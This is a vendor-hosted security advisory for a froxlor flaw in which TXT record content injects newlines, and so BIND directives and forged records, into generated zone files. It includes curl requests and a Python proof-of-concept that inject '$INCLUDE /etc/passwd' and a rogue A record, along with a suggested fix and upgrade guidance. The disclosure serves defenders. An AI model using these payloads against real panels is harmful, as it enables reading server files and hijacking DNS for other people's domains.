GHSA-37m5-m4q3-fc6x
HIGHGHSA-37m5-m4q3-fc6x is a high-severity (CVSS 7.6) CWE-74 vulnerability in froxlor/froxlor. O3 Security confirms whether GHSA-37m5-m4q3-fc6x is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Froxlor: BIND Zone File Injection via TXT Record Content
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-37m5-m4q3-fc6x.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-37m5-m4q3-fc6x plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
froxlor/froxlorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.
This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.
Affected Code
lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:
} elseif ($type == 'TXT' && !empty($content)) {
// check that TXT content is enclosed in " "
$content = Dns::encloseTXTContent($content);
}
Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.
Line 148 of DomainZones.php still contains:
// TODO regex validate content for invalid characters
The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.
Comparison with CVE-2026-30932 fix
The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:
| Type | Validation Added | Still Vulnerable? |
|---|---|---|
| LOC | Validate::validateDnsLoc() (strict regex) | No |
| RP | Validate::validateDnsRp() (domain validation) | No |
| SSHFP | Validate::validateDnsSshfp() (3-part split) | No |
| TLSA | Validate::validateDnsTlsa() (4-part split) | No |
| TXT | Dns::encloseTXTContent() (quotes only) | Yes |
PoC
Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
- DNS enabled (
system.bind_enable=1,system.dnsenabled=1) - Customer with
dnsenabled=1, domain withisbinddomain=1 - Customer has an API key (or uses the web UI DNS editor with Burp)
Reproduction via API
# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "@",
"content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
"ttl": 18000
}
}' \
https://panel.example.com/api.php
Reproduction via Web UI (Burp)
- Log in as a customer with DNS editing enabled
- Navigate to Resources > Domains > (domain) > DNS Editor
- Add a new record: Type = TXT, Record = @, Content = any
- Intercept the POST request in Burp Suite
- Change the
dns_contentparameter to:v=spf1 +all"%0a$INCLUDE /etc/passwd(%0ais URL-encoded newline) - Forward the request
Result
The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:
$TTL 604800
$ORIGIN testdomain.lab.
@ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ...
@ 18000 IN TXT "v=spf1 +all"
$INCLUDE /etc/passwd"
@ 604800 IN A 100.95.188.127
* 604800 IN A 100.95.188.127
When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.
Variant: Arbitrary DNS record injection
The same technique injects arbitrary A/MX/CNAME records:
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"domainname": "testdomain.lab",
"type": "TXT",
"record": "_spf",
"content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
"ttl": 18000
}
}' \
https://panel.example.com/api.php
Result:
_spf 18000 IN TXT "v=spf1 +all"
evil 18000 IN A 6.6.6.6
evil.testdomain.lab now resolves to attacker IP 6.6.6.6.
Automated PoC Script
#!/usr/bin/env python3
"""Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix"""
import json, sys, requests, urllib3
urllib3.disable_warnings()
def api(target, key, secret, cmd, params=None):
return requests.post(f"{target.rstrip('/')}/api.php",
auth=(key, secret), json={"command": cmd, "params": params or {}},
verify=False).json()
target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
# Inject $INCLUDE
r = api(target, key, secret, "DomainZones.add", {
"domainname": domain, "type": "TXT", "record": "@",
"content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})
for line in r.get("data", []):
tag = " <-- INJECTED" if "$INCLUDE" in str(line) else ""
if line: print(f" {line}{tag}")
print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED")
Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld
Impact
-
Information Disclosure:
$INCLUDEdirects BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer viaDomainZones.listingor DNS queries to records created from parsed file lines. -
DNS Record Injection: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.
-
DNS Service Disruption: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain.
$GENERATEdirectives can create massive record sets for amplification.
Suggested Fix
Strip newlines and BIND metacharacters from TXT content. Minimal fix:
// lib/Froxlor/Api/Commands/DomainZones.php, around line 306
} elseif ($type == 'TXT' && !empty($content)) {
// Strip characters that can break zone file format
$content = str_replace(["\n", "\r", "\t"], '', $content);
$content = Dns::encloseTXTContent($content);
}
A more comprehensive fix would add a validation function (similar to validateDnsLoc, validateDnsSshfp, etc.) that rejects any content containing zone metacharacters ($, newlines), and remove the TODO at line 148.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | froxlor/froxlor | all versions | 2.3.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update froxlor/froxlor to 2.3.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-37m5-m4q3-fc6x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-37m5-m4q3-fc6x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-37m5-m4q3-fc6x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-37m5-m4q3-fc6x in your dependencies?
O3 detects GHSA-37m5-m4q3-fc6x across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.